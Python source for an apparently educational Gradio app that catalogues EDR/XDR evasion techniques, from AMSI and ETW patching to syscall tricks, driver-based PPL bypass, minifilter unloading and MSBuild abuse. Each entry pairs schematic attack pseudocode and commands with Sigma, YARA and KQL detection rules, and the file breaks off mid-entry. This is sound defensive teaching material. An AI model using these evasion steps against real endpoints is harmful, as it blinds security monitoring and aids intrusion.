"""
EDR/XDR Evasion Technique Explorer
Educational platform for cybersecurity professionals.
Powered by AYI-NEDJIMI Consultants - https://ayinedjimi-consultants.fr
"""
import gradio as gr
import plotly.graph_objects as go
import pandas as pd
import json
# ---------------------------------------------------------------------------
# Translations
# ---------------------------------------------------------------------------
TR = {
"title": {
"fr": "Explorateur de Techniques d\u2019\u00c9vasion EDR/XDR",
"en": "EDR/XDR Evasion Technique Explorer",
},
"subtitle": {
"fr": "Plateforme \u00e9ducative pour professionnels de la cybers\u00e9curit\u00e9",
"en": "Educational platform for cybersecurity professionals",
},
"tab_browser": {"fr": "Navigateur de Techniques", "en": "Technique Browser"},
"tab_detection": {"fr": "Ing\u00e9nierie de D\u00e9tection", "en": "Detection Engineering"},
"tab_comparison": {"fr": "Comparaison EDR", "en": "EDR Comparison"},
"tab_simulation": {"fr": "Planificateur de Simulation", "en": "Attack Simulation Planner"},
"tab_resources": {"fr": "Ressources", "en": "Resources"},
"category": {"fr": "Cat\u00e9gorie", "en": "Category"},
"difficulty": {"fr": "Difficult\u00e9", "en": "Difficulty"},
"all": {"fr": "Toutes", "en": "All"},
"description": {"fr": "Description", "en": "Description"},
"mitre": {"fr": "Mapping MITRE ATT&CK", "en": "MITRE ATT&CK Mapping"},
"pseudocode": {"fr": "Pseudocode (\u00e9ducatif)", "en": "Pseudocode (educational)"},
"detection": {"fr": "M\u00e9thode de d\u00e9tection", "en": "Detection Method"},
"countermeasure": {"fr": "Contre-mesure d\u00e9fensive", "en": "Defensive Countermeasure"},
"select_technique": {"fr": "S\u00e9lectionnez une technique", "en": "Select a technique"},
"select_scenario": {"fr": "S\u00e9lectionnez un sc\u00e9nario", "en": "Select a scenario"},
"sysmon_ids": {"fr": "Sysmon Event IDs \u00e0 surveiller", "en": "Sysmon Event IDs to Monitor"},
"kql_query": {"fr": "Requ\u00eate KQL (Microsoft Defender)", "en": "KQL Query (Microsoft Defender)"},
"sigma_rule": {"fr": "R\u00e8gle Sigma", "en": "Sigma Rule"},
"yara_rule": {"fr": "R\u00e8gle YARA", "en": "YARA Rule Snippet"},
"edr_config": {"fr": "Configuration EDR recommand\u00e9e", "en": "Recommended EDR Configuration"},
"scenario_plan": {"fr": "Plan de simulation", "en": "Simulation Plan"},
"evasion_needed": {"fr": "Techniques d\u2019\u00e9vasion n\u00e9cessaires", "en": "Evasion Techniques Needed"},
"detection_gaps": {"fr": "Lacunes de d\u00e9tection \u00e0 tester", "en": "Detection Gaps to Test"},
"purple_team": {"fr": "Exercice Purple Team", "en": "Purple Team Exercise"},
"expected_alerts": {"fr": "Alertes EDR attendues", "en": "Expected EDR Alerts"},
"disclaimer": {
"fr": (
"Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels "
"de la cybers\u00e9curit\u00e9 pour am\u00e9liorer les d\u00e9fenses."
),
"en": (
"This content is strictly educational and intended for cybersecurity "
"professionals to improve defenses."
),
},
}
def t(key, lang):
return TR.get(key, {}).get(lang, key)
# ---------------------------------------------------------------------------
# Difficulty helpers
# ---------------------------------------------------------------------------
DIFF_COLORS = {
"Easy": "#2ecc71",
"Medium": "#f39c12",
"Hard": "#e74c3c",
"Expert": "#8e44ad",
}
DIFF_FR = {"Easy": "Facile", "Medium": "Moyen", "Hard": "Difficile", "Expert": "Expert"}
def diff_label(d, lang):
if lang == "fr":
return DIFF_FR.get(d, d)
return d
def diff_badge(d, lang):
color = DIFF_COLORS.get(d, "#95a5a6")
label = diff_label(d, lang)
return (
f'{label}'
)
# ---------------------------------------------------------------------------
# Technique database (25+ techniques)
# ---------------------------------------------------------------------------
TECHNIQUES = [
# ---- Memory Evasion ----
{
"id": "amsi-bypass",
"category": "Memory Evasion",
"name": {"en": "AMSI Bypass", "fr": "Contournement AMSI"},
"difficulty": "Medium",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Patches the AmsiScanBuffer function in memory to prevent script scanning by the Antimalware Scan Interface.",
"fr": "Modifie la fonction AmsiScanBuffer en m\u00e9moire pour emp\u00eacher l\u2019analyse des scripts par AMSI.",
},
"pseudocode": (
"# Educational pseudocode only\n"
"addr = GetProcAddress(amsi_dll, 'AmsiScanBuffer')\n"
"VirtualProtect(addr, size, PAGE_READWRITE)\n"
"WriteMemory(addr, patch_bytes) # returns AMSI_RESULT_CLEAN\n"
"VirtualProtect(addr, size, old_protect)"
),
"detection": {
"en": "Monitor for suspicious memory writes to amsi.dll. Sysmon Event ID 7 (Image Loaded) and memory protection changes.",
"fr": "Surveiller les \u00e9critures m\u00e9moire suspectes dans amsi.dll. Sysmon Event ID 7 et changements de protection m\u00e9moire.",
},
"countermeasure": {
"en": "Enable hardware-based AMSI protection, use ETW tracing for AMSI events, deploy integrity monitoring.",
"fr": "Activer la protection AMSI mat\u00e9rielle, utiliser le tra\u00e7age ETW pour les \u00e9v\u00e9nements AMSI.",
},
"sysmon": "7, 10, 13",
"kql": (
'DeviceEvents\n| where ActionType == "AmsiDetection"\n'
'| where FileName endswith "amsi.dll"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
),
"sigma": (
"title: AMSI Bypass Attempt\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_creation\n"
"detection:\n selection:\n CommandLine|contains:\n"
' - "AmsiScanBuffer"\n - "amsiInitFailed"\n'
" condition: selection\nlevel: high"
),
"yara": (
'rule AMSI_Bypass {\n strings:\n $a = "AmsiScanBuffer" ascii wide\n'
' $b = "amsiInitFailed" ascii wide\n'
' $c = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 }\n'
" condition:\n 2 of them\n}"
),
"edr_config": {
"en": "Enable AMSI integration, script block logging, and memory tamper protection. Configure real-time ETW consumers.",
"fr": "Activer l\u2019int\u00e9gration AMSI, la journalisation des blocs de scripts et la protection contre la falsification m\u00e9moire.",
},
},
{
"id": "etw-patching",
"category": "Memory Evasion",
"name": {"en": "ETW Patching", "fr": "Modification ETW"},
"difficulty": "Hard",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Patches ETW (Event Tracing for Windows) functions to blind security telemetry providers.",
"fr": "Modifie les fonctions ETW pour aveugler les fournisseurs de t\u00e9l\u00e9m\u00e9trie de s\u00e9curit\u00e9.",
},
"pseudocode": (
"# Educational pseudocode\n"
"addr = GetProcAddress(ntdll, 'EtwEventWrite')\n"
"VirtualProtect(addr, 1, PAGE_READWRITE)\n"
"WriteMemory(addr, RET_OPCODE) # function returns immediately"
),
"detection": {
"en": "Monitor for patches to ntdll!EtwEventWrite. Use kernel-mode ETW consumers that are harder to disable.",
"fr": "Surveiller les modifications de ntdll!EtwEventWrite. Utiliser des consommateurs ETW en mode noyau.",
},
"countermeasure": {
"en": "Kernel-level ETW monitoring, periodic ntdll integrity checks, protected process light (PPL) for ETW service.",
"fr": "Surveillance ETW au niveau noyau, v\u00e9rifications p\u00e9riodiques de l\u2019int\u00e9grit\u00e9 de ntdll.",
},
"sysmon": "7, 10",
"kql": (
'DeviceEvents\n| where ActionType == "NtdllTamper"\n'
"| project Timestamp, DeviceName, InitiatingProcessFileName"
),
"sigma": (
"title: ETW Patching Detected\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_access\n"
"detection:\n selection:\n TargetImage|endswith: '\\\\ntdll.dll'\n"
" GrantedAccess|contains: '0x40'\n condition: selection\nlevel: critical"
),
"yara": (
'rule ETW_Patch {\n strings:\n $a = "EtwEventWrite" ascii wide\n'
" $ret = { C3 } // RET opcode\n"
" condition:\n $a and #ret > 5\n}"
),
"edr_config": {
"en": "Enable tamper protection for ETW providers, use kernel callbacks for telemetry, implement ntdll integrity monitoring.",
"fr": "Activer la protection anti-falsification pour les fournisseurs ETW, utiliser des callbacks noyau.",
},
},
{
"id": "ntdll-unhooking",
"category": "Memory Evasion",
"name": {"en": "NTDLL Unhooking", "fr": "D\u00e9crochage NTDLL"},
"difficulty": "Hard",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Replaces hooked ntdll.dll with a clean copy from disk to remove EDR inline hooks.",
"fr": "Remplace ntdll.dll modifi\u00e9 par une copie propre depuis le disque pour supprimer les hooks EDR.",
},
"pseudocode": (
"# Educational pseudocode\n"
"clean_ntdll = ReadFile('C:\\\\Windows\\\\System32\\\\ntdll.dll')\n"
"current_ntdll = GetModuleHandle('ntdll.dll')\n"
"# Map .text section from clean copy over hooked version\n"
"WriteProcessMemory(current_ntdll.text, clean_ntdll.text)"
),
"detection": {
"en": "Monitor file reads of ntdll.dll from disk, detect .text section overwrites via kernel callbacks.",
"fr": "Surveiller les lectures de ntdll.dll depuis le disque, d\u00e9tecter les r\u00e9\u00e9critures de la section .text.",
},
"countermeasure": {
"en": "Use kernel-level hooks instead of userland, implement hook integrity verification, deploy minifilter drivers.",
"fr": "Utiliser des hooks au niveau noyau, impl\u00e9menter la v\u00e9rification d\u2019int\u00e9grit\u00e9 des hooks.",
},
"sysmon": "7, 10, 11",
"kql": (
'DeviceFileEvents\n| where FileName == "ntdll.dll"\n'
'| where ActionType == "FileRead"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
),
"sigma": (
"title: NTDLL Unhooking via File Read\nstatus: experimental\n"
"logsource:\n product: windows\n category: file_access\n"
"detection:\n selection:\n TargetFilename|endswith: '\\\\ntdll.dll'\n"
" condition: selection\nlevel: high"
),
"yara": (
'rule NTDLL_Unhooking {\n strings:\n $a = "ntdll.dll" ascii wide\n'
' $b = "NtProtectVirtualMemory" ascii\n'
' $c = ".text" ascii\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "Deploy kernel-mode hooks, enable minifilter for ntdll.dll access monitoring, use PPL for EDR agent.",
"fr": "D\u00e9ployer des hooks en mode noyau, activer le minifiltre pour surveiller les acc\u00e8s \u00e0 ntdll.dll.",
},
},
{
"id": "shellcode-injection",
"category": "Memory Evasion",
"name": {"en": "Shellcode Injection", "fr": "Injection de Shellcode"},
"difficulty": "Medium",
"mitre": "T1055.001 - Process Injection: DLL Injection",
"desc": {
"en": "Allocates memory in a remote process and injects shellcode for execution.",
"fr": "Alloue de la m\u00e9moire dans un processus distant et injecte du shellcode pour ex\u00e9cution.",
},
"pseudocode": (
"# Educational pseudocode\n"
"hProcess = OpenProcess(target_pid)\n"
"addr = VirtualAllocEx(hProcess, MEM_COMMIT, PAGE_RWX)\n"
"WriteProcessMemory(hProcess, addr, shellcode)\n"
"CreateRemoteThread(hProcess, addr)"
),
"detection": {
"en": "Monitor VirtualAllocEx with RWX permissions, cross-process WriteProcessMemory, and CreateRemoteThread calls.",
"fr": "Surveiller VirtualAllocEx avec permissions RWX, WriteProcessMemory inter-processus et CreateRemoteThread.",
},
"countermeasure": {
"en": "Enable CIG (Code Integrity Guard), enforce W^X policy, monitor cross-process memory operations.",
"fr": "Activer CIG, appliquer la politique W^X, surveiller les op\u00e9rations m\u00e9moire inter-processus.",
},
"sysmon": "1, 8, 10",
"kql": (
"DeviceEvents\n| where ActionType in ('CreateRemoteThreadApiCall', 'QueueUserApcRemoteApiCall')\n"
"| project Timestamp, DeviceName, InitiatingProcessFileName, FileName"
),
"sigma": (
"title: Remote Shellcode Injection\nstatus: experimental\n"
"logsource:\n product: windows\n category: create_remote_thread\n"
"detection:\n selection:\n EventID: 8\n"
" filter:\n SourceImage|endswith: '\\\\svchost.exe'\n"
" condition: selection and not filter\nlevel: high"
),
"yara": (
"rule Shellcode_Injection {\n strings:\n"
' $api1 = "VirtualAllocEx" ascii\n $api2 = "WriteProcessMemory" ascii\n'
' $api3 = "CreateRemoteThread" ascii\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "Enable memory injection detection, configure CIG policies, implement stack call verification.",
"fr": "Activer la d\u00e9tection d\u2019injection m\u00e9moire, configurer les politiques CIG.",
},
},
{
"id": "module-stomping",
"category": "Memory Evasion",
"name": {"en": "Module Stomping", "fr": "\u00c9crasement de Module"},
"difficulty": "Expert",
"mitre": "T1055.001 - Process Injection: DLL Injection",
"desc": {
"en": "Loads a legitimate DLL then overwrites its .text section with malicious code to hide in a signed module.",
"fr": "Charge une DLL l\u00e9gitime puis \u00e9crase sa section .text avec du code malveillant pour se cacher dans un module sign\u00e9.",
},
"pseudocode": (
"# Educational pseudocode\n"
"hModule = LoadLibrary('legitimate.dll')\n"
"text_addr = GetSectionAddress(hModule, '.text')\n"
"VirtualProtect(text_addr, size, PAGE_RWX)\n"
"memcpy(text_addr, malicious_code, size)"
),
"detection": {
"en": "Compare in-memory module against on-disk version. Monitor for RWX permission changes on signed DLLs.",
"fr": "Comparer le module en m\u00e9moire avec la version sur disque. Surveiller les changements RWX sur les DLL sign\u00e9es.",
},
"countermeasure": {
"en": "Memory integrity scanning, signed code enforcement, periodic module hash verification.",
"fr": "Analyse d\u2019int\u00e9grit\u00e9 m\u00e9moire, application de code sign\u00e9, v\u00e9rification p\u00e9riodique des hachages de modules.",
},
"sysmon": "7, 10, 25",
"kql": (
"DeviceImageLoadEvents\n| where FileName endswith '.dll'\n"
"| where InitiatingProcessFileName !in ('svchost.exe','explorer.exe')\n"
"| project Timestamp, DeviceName, FileName, InitiatingProcessFileName"
),
"sigma": (
"title: Module Stomping Detection\nstatus: experimental\n"
"logsource:\n product: windows\n category: image_load\n"
"detection:\n selection:\n ImageLoaded|endswith: '.dll'\n"
" filter:\n Image|endswith:\n - '\\\\svchost.exe'\n - '\\\\explorer.exe'\n"
" condition: selection and not filter\nlevel: medium"
),
"yara": (
"rule Module_Stomping {\n strings:\n"
' $s1 = ".text" ascii\n $s2 = "VirtualProtect" ascii\n'
' $s3 = "LoadLibrary" ascii\n'
" condition:\n all of them and filesize < 500KB\n}"
),
"edr_config": {
"en": "Enable in-memory scanning, enforce code signing for loaded modules, implement periodic integrity checks.",
"fr": "Activer l\u2019analyse en m\u00e9moire, appliquer la signature de code pour les modules charg\u00e9s.",
},
},
# ---- Direct Syscalls ----
{
"id": "syswhispers",
"category": "Direct Syscalls",
"name": {"en": "SysWhispers", "fr": "SysWhispers"},
"difficulty": "Hard",
"mitre": "T1106 - Native API",
"desc": {
"en": "Generates syscall stubs to call NT functions directly, bypassing userland API hooks placed by EDR.",
"fr": "G\u00e9n\u00e8re des stubs de syscall pour appeler directement les fonctions NT, contournant les hooks API de l\u2019EDR.",
},
"pseudocode": (
"# Educational pseudocode\n"
"# SysWhispers generates assembly stubs\n"
"mov r10, rcx\n"
"mov eax, SYSCALL_NUMBER # e.g. NtAllocateVirtualMemory\n"
"syscall\n"
"ret"
),
"detection": {
"en": "Monitor for syscall instructions from non-ntdll memory regions. Kernel-level telemetry via ETW Threat Intelligence.",
"fr": "Surveiller les instructions syscall depuis des r\u00e9gions m\u00e9moire hors ntdll. T\u00e9l\u00e9m\u00e9trie noyau via ETW Threat Intelligence.",
},
"countermeasure": {
"en": "Use kernel-mode callbacks, ETW TI provider, stack trace validation to detect non-standard syscall origins.",
"fr": "Utiliser des callbacks en mode noyau, le fournisseur ETW TI, la validation de pile d\u2019appels.",
},
"sysmon": "10, 25",
"kql": (
"DeviceEvents\n| where ActionType == 'NtAllocateVirtualMemory'\n"
"| where InitiatingProcessFileName !in ('svchost.exe')\n"
"| project Timestamp, DeviceName, ActionType"
),
"sigma": (
"title: Direct Syscall Detection\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_access\n"
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
" condition: selection\nlevel: critical"
),
"yara": (
"rule SysWhispers {\n strings:\n"
" $stub = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }\n"
' $str = "NtAllocateVirtualMemory" ascii\n'
" condition:\n $stub or $str\n}"
),
"edr_config": {
"en": "Enable ETW Threat Intelligence provider, implement kernel-level syscall monitoring, use stack walk verification.",
"fr": "Activer le fournisseur ETW Threat Intelligence, impl\u00e9menter la surveillance des syscalls au niveau noyau.",
},
},
{
"id": "hellsgate",
"category": "Direct Syscalls",
"name": {"en": "HellsGate", "fr": "HellsGate"},
"difficulty": "Expert",
"mitre": "T1106 - Native API",
"desc": {
"en": "Dynamically resolves syscall numbers at runtime by parsing ntdll.dll in memory, avoiding hardcoded values.",
"fr": "R\u00e9sout dynamiquement les num\u00e9ros de syscall en analysant ntdll.dll en m\u00e9moire.",
},
"pseudocode": (
"# Educational pseudocode\n"
"ntdll_base = GetModuleHandle('ntdll.dll')\n"
"for each export in ntdll_base.exports:\n"
" if export starts with 'Zw':\n"
" syscall_num = read_bytes(export + 4, 4)\n"
" store(function_name, syscall_num)"
),
"detection": {
"en": "Detect ntdll export table enumeration from unexpected processes. Monitor for syscall instruction outside ntdll.",
"fr": "D\u00e9tecter l\u2019\u00e9num\u00e9ration de la table d\u2019exports ntdll depuis des processus inattendus.",
},
"countermeasure": {
"en": "Kernel-level ETW, call stack analysis, behavioral detection of syscall resolution patterns.",
"fr": "ETW au niveau noyau, analyse de pile d\u2019appels, d\u00e9tection comportementale.",
},
"sysmon": "10, 7",
"kql": (
"DeviceEvents\n| where ActionType == 'NtApiCall'\n"
"| where AdditionalFields contains 'non-ntdll'\n| project Timestamp, DeviceName"
),
"sigma": (
"title: HellsGate Syscall Resolution\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_access\n"
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n GrantedAccess: '0x1F0FFF'\n"
" condition: selection\nlevel: critical"
),
"yara": (
"rule HellsGate {\n strings:\n"
" $pattern = { 4C 8B D1 B8 ?? ?? 00 00 }\n"
' $zw = "Zw" ascii\n'
" condition:\n $pattern and #zw > 10\n}"
),
"edr_config": {
"en": "Deploy ETW Threat Intelligence, kernel callbacks for process/thread operations, tamper protection.",
"fr": "D\u00e9ployer ETW Threat Intelligence, callbacks noyau pour les op\u00e9rations de processus/threads.",
},
},
{
"id": "halosgate",
"category": "Direct Syscalls",
"name": {"en": "HalosGate", "fr": "HalosGate"},
"difficulty": "Expert",
"mitre": "T1106 - Native API",
"desc": {
"en": "Extension of HellsGate that detects and bypasses EDR hooks by checking neighboring syscall stubs.",
"fr": "Extension de HellsGate qui d\u00e9tecte et contourne les hooks EDR en v\u00e9rifiant les stubs voisins.",
},
"pseudocode": (
"# Educational pseudocode\n"
"for func in ntdll_exports:\n"
" if is_hooked(func): # JMP instruction detected\n"
" neighbor = get_neighbor_syscall(func)\n"
" syscall_num = neighbor.number +/- offset\n"
" # Use calculated syscall number"
),
"detection": {
"en": "Same as HellsGate plus monitoring for sequential ntdll export enumeration patterns.",
"fr": "Identique \u00e0 HellsGate plus surveillance des sch\u00e9mas d\u2019\u00e9num\u00e9ration s\u00e9quentielle des exports ntdll.",
},
"countermeasure": {
"en": "Hardware breakpoints on syscall instruction, kernel telemetry, call stack validation.",
"fr": "Points d\u2019arr\u00eat mat\u00e9riels sur l\u2019instruction syscall, t\u00e9l\u00e9m\u00e9trie noyau, validation de pile d\u2019appels.",
},
"sysmon": "10, 7",
"kql": (
"DeviceEvents\n| where ActionType in ('NtApiCall','ProcessAccess')\n"
"| where AdditionalFields contains 'hook_bypass'\n| project Timestamp, DeviceName"
),
"sigma": (
"title: HalosGate Hook Bypass\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_access\n"
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
" condition: selection\nlevel: critical"
),
"yara": (
"rule HalosGate {\n strings:\n"
" $hook_check = { E9 ?? ?? ?? ?? } // JMP hook signature\n"
" $syscall = { 0F 05 C3 }\n"
" condition:\n $hook_check and $syscall\n}"
),
"edr_config": {
"en": "Layer kernel and userland monitoring, deploy hardware breakpoints, use PPL for critical processes.",
"fr": "Superposer la surveillance noyau et utilisateur, d\u00e9ployer des points d\u2019arr\u00eat mat\u00e9riels.",
},
},
{
"id": "indirect-syscalls",
"category": "Direct Syscalls",
"name": {"en": "Indirect Syscalls", "fr": "Syscalls Indirects"},
"difficulty": "Expert",
"mitre": "T1106 - Native API",
"desc": {
"en": "Executes the syscall instruction from within ntdll memory to avoid detection of syscalls from unusual regions.",
"fr": "Ex\u00e9cute l\u2019instruction syscall depuis la m\u00e9moire ntdll pour \u00e9viter la d\u00e9tection de syscalls depuis des r\u00e9gions inhabituelles.",
},
"pseudocode": (
"# Educational pseudocode\n"
"syscall_addr = find_syscall_instruction_in_ntdll()\n"
"set_registers(args) # prepare arguments\n"
"jmp syscall_addr # jump into ntdll for the syscall"
),
"detection": {
"en": "Stack frame analysis showing preparation outside ntdll before jumping into ntdll for syscall execution.",
"fr": "Analyse de la pile montrant une pr\u00e9paration hors ntdll avant un saut dans ntdll pour le syscall.",
},
"countermeasure": {
"en": "Full stack walk analysis, return address validation, ETW Threat Intelligence kernel provider.",
"fr": "Analyse compl\u00e8te de la pile d\u2019appels, validation des adresses de retour, fournisseur ETW TI noyau.",
},
"sysmon": "10",
"kql": (
"DeviceEvents\n| where ActionType == 'SyscallFromUnexpectedRegion'\n"
"| project Timestamp, DeviceName, InitiatingProcessFileName"
),
"sigma": (
"title: Indirect Syscall Detection\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_access\n"
"detection:\n selection:\n CallTrace|re: '.*ntdll\\.dll\\+0x.*UNKNOWN.*'\n"
" condition: selection\nlevel: critical"
),
"yara": (
"rule Indirect_Syscalls {\n strings:\n"
" $jmp_ntdll = { FF 25 ?? ?? ?? ?? } // JMP to ntdll\n"
' $ntdll = "ntdll" ascii wide\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "ETW TI + kernel callbacks + full call stack analysis with return address validation.",
"fr": "ETW TI + callbacks noyau + analyse compl\u00e8te de la pile avec validation des adresses de retour.",
},
},
# ---- EDR Agent Tampering ----
{
"id": "ppl-bypass",
"category": "EDR Agent Tampering",
"name": {"en": "PPL Bypass", "fr": "Contournement PPL"},
"difficulty": "Expert",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Exploits vulnerabilities to bypass Protected Process Light, allowing access to protected EDR processes.",
"fr": "Exploite des vuln\u00e9rabilit\u00e9s pour contourner Protected Process Light et acc\u00e9der aux processus EDR prot\u00e9g\u00e9s.",
},
"pseudocode": (
"# Educational pseudocode\n"
"# Load vulnerable signed driver\n"
"driver = LoadDriver('vulnerable_signed.sys')\n"
"# Use driver to modify EPROCESS.Protection\n"
"eprocess = GetEPROCESS(target_pid)\n"
"WriteKernelMemory(eprocess.Protection, 0x00)"
),
"detection": {
"en": "Monitor driver loading events, detect EPROCESS modification, watch for known vulnerable drivers.",
"fr": "Surveiller les chargements de pilotes, d\u00e9tecter la modification EPROCESS, identifier les pilotes vuln\u00e9rables.",
},
"countermeasure": {
"en": "HVCI enforcement, vulnerable driver blocklist, Secure Boot, kernel patch protection.",
"fr": "Application HVCI, liste de blocage des pilotes vuln\u00e9rables, Secure Boot, protection des correctifs noyau.",
},
"sysmon": "6, 13, 10",
"kql": (
"DeviceEvents\n| where ActionType == 'DriverLoad'\n"
"| where FileName in (known_vulnerable_drivers)\n| project Timestamp, DeviceName, FileName"
),
"sigma": (
"title: Vulnerable Driver Loading for PPL Bypass\nstatus: experimental\n"
"logsource:\n product: windows\n category: driver_load\n"
"detection:\n selection:\n Hashes|contains:\n"
" - 'known_vuln_driver_hash_1'\n - 'known_vuln_driver_hash_2'\n"
" condition: selection\nlevel: critical"
),
"yara": (
"rule PPL_Bypass_Tool {\n strings:\n"
' $a = "EPROCESS" ascii\n $b = "Protection" ascii\n'
' $c = "NtLoadDriver" ascii\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "Enable HVCI, configure vulnerable driver blocklist, enforce Secure Boot, deploy driver signing enforcement.",
"fr": "Activer HVCI, configurer la liste de blocage des pilotes vuln\u00e9rables, appliquer Secure Boot.",
},
},
{
"id": "minifilter-tampering",
"category": "EDR Agent Tampering",
"name": {"en": "Minifilter Tampering", "fr": "Falsification de Minifiltre"},
"difficulty": "Expert",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Unloads or detaches EDR minifilter drivers to blind file system monitoring.",
"fr": "D\u00e9charge ou d\u00e9tache les pilotes minifiltre EDR pour aveugler la surveillance du syst\u00e8me de fichiers.",
},
"pseudocode": (
"# Educational pseudocode\n"
"# Using fltMC.exe (requires admin)\n"
"fltMC unload EDRMiniFilter\n"
"# Or via direct kernel manipulation\n"
"filter = FindMinifilter('EDRFilter')\n"
"FltUnregisterFilter(filter)"
),
"detection": {
"en": "Monitor fltMC.exe usage, detect minifilter unload events, watch for EDR service disruption.",
"fr": "Surveiller l\u2019utilisation de fltMC.exe, d\u00e9tecter les d\u00e9chargements de minifiltres.",
},
"countermeasure": {
"en": "Tamper protection for minifilters, kernel callback guards, elevation monitoring.",
"fr": "Protection anti-falsification des minifiltres, gardes de callbacks noyau, surveillance des \u00e9l\u00e9vations.",
},
"sysmon": "1, 6, 13",
"kql": (
'DeviceProcessEvents\n| where FileName == "fltMC.exe"\n'
'| where ProcessCommandLine contains "unload"\n| project Timestamp, DeviceName'
),
"sigma": (
"title: Minifilter Unload Attempt\nstatus: experimental\n"
"logsource:\n product: windows\n category: process_creation\n"
"detection:\n selection:\n Image|endswith: '\\\\fltMC.exe'\n"
" CommandLine|contains: 'unload'\n condition: selection\nlevel: critical"
),
"yara": (
"rule Minifilter_Tamper {\n strings:\n"
' $a = "FltUnregisterFilter" ascii\n $b = "fltMC" ascii wide\n'
' $c = "unload" ascii wide\n'
" condition:\n 2 of them\n}"
),
"edr_config": {
"en": "Enable kernel tamper protection, restrict fltMC access, implement self-healing minifilter registration.",
"fr": "Activer la protection noyau anti-falsification, restreindre fltMC, impl\u00e9menter l\u2019auto-r\u00e9paration des minifiltres.",
},
},
{
"id": "kernel-callback-removal",
"category": "EDR Agent Tampering",
"name": {"en": "Kernel Callback Removal", "fr": "Suppression de Callbacks Noyau"},
"difficulty": "Expert",
"mitre": "T1562.001 - Disable or Modify Tools",
"desc": {
"en": "Removes kernel notification callbacks registered by EDR to stop process/thread/image load monitoring.",
"fr": "Supprime les callbacks de notification noyau enregistr\u00e9s par l\u2019EDR pour arr\u00eater la surveillance.",
},
"pseudocode": (
"# Educational pseudocode\n"
"callbacks = EnumKernelCallbacks(PsProcessNotify)\n"
"for cb in callbacks:\n"
" if cb.module == 'EDRDriver.sys':\n"
" PsSetCreateProcessNotifyRoutine(cb.addr, REMOVE)"
),
"detection": {
"en": "Monitor callback array integrity, detect callback removal events, EDR self-health monitoring.",
"fr": "Surveiller l\u2019int\u00e9grit\u00e9 des tableaux de callbacks, d\u00e9tecter les suppressions, auto-surveillance EDR.",
},
"countermeasure": {
"en": "Periodic callback integrity verification, kernel object protection, VBS-based protection.",
"fr": "V\u00e9rification p\u00e9riodique de l\u2019int\u00e9grit\u00e9 des callbacks, protection des objets noyau, protection VBS.",
},
"sysmon": "6, 13",
"kql": (
"DeviceEvents\n| where ActionType == 'KernelCallbackModification'\n"
"| project Timestamp, DeviceName, AdditionalFields"
),
"sigma": (
"title: Kernel Callback Manipulation\nstatus: experimental\n"
"logsource:\n product: windows\n category: driver_load\n"
"detection:\n selection:\n EventID: 6\n"
" filter:\n Signed: 'true'\n"
" condition: selection and not filter\nlevel: critical"
),
"yara": (
"rule Kernel_Callback_Removal {\n strings:\n"
' $a = "PsSetCreateProcessNotifyRoutine" ascii\n'
' $b = "ObUnRegisterCallbacks" ascii\n'
' $c = "CmUnRegisterCallback" ascii\n'
" condition:\n 2 of them\n}"
),
"edr_config": {
"en": "VBS-based kernel protection, periodic self-integrity checks, heartbeat monitoring for callbacks.",
"fr": "Protection noyau bas\u00e9e sur VBS, v\u00e9rifications p\u00e9riodiques, surveillance de la pr\u00e9sence des callbacks.",
},
},
# ---- Living off the Land ----
{
"id": "msbuild",
"category": "Living off the Land",
"name": {"en": "MSBuild Execution", "fr": "Ex\u00e9cution MSBuild"},
"difficulty": "Easy",
"mitre": "T1127.001 - Trusted Developer Utilities: MSBuild",
"desc": {
"en": "Uses MSBuild.exe to compile and execute inline C# code from XML project files, bypassing application whitelisting.",
"fr": "Utilise MSBuild.exe pour compiler et ex\u00e9cuter du code C# depuis des fichiers XML, contournant le whitelisting.",
},
"pseudocode": (
"# Educational pseudocode\n"
'# payload.xml contains inline C# Task\n'
"msbuild.exe payload.xml\n"
"# The XML contains: with embedded C# code\n"
"# MSBuild compiles and executes at runtime"
),
"detection": {
"en": "Monitor MSBuild.exe spawning without Visual Studio parent. Check for XML files with inline C# Tasks.",
"fr": "Surveiller MSBuild.exe sans processus parent Visual Studio. V\u00e9rifier les fichiers XML avec des T\u00e2ches C#.",
},
"countermeasure": {
"en": "WDAC/AppLocker policies for MSBuild, restrict to dev machines, log all MSBuild executions.",
"fr": "Politiques WDAC/AppLocker pour MSBuild, restreindre aux machines de dev, journaliser les ex\u00e9cutions.",
},
"sysmon": "1, 11",
"kql": (
'DeviceProcessEvents\n| where FileName == "MSBuild.exe"\n'
'| where InitiatingProcessFileName != "devenv.exe"\n| project Timestamp, DeviceName, ProcessCommandLine'
),
"sigma": (
"title: Suspicious MSBuild Execution\nstatus: stable\n"
"logsource:\n product: windows\n category: process_creation\n"
"detection:\n selection:\n Image|endswith: '\\\\MSBuild.exe'\n"
" filter:\n ParentImage|endswith: '\\\\devenv.exe'\n"
" condition: selection and not filter\nlevel: high"
),
"yara": (
'rule MSBuild_Payload {\n strings:\n $a = "" ascii\n'
' $b = "UsingTask" ascii\n $c = "CodeTaskFactory" ascii\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "Block MSBuild on non-developer endpoints, enable script block logging, configure application control.",
"fr": "Bloquer MSBuild sur les postes non-d\u00e9veloppeurs, activer la journalisation des scripts.",
},
},
{
"id": "installutil",
"category": "Living off the Land",
"name": {"en": "InstallUtil Bypass", "fr": "Contournement InstallUtil"},
"difficulty": "Easy",
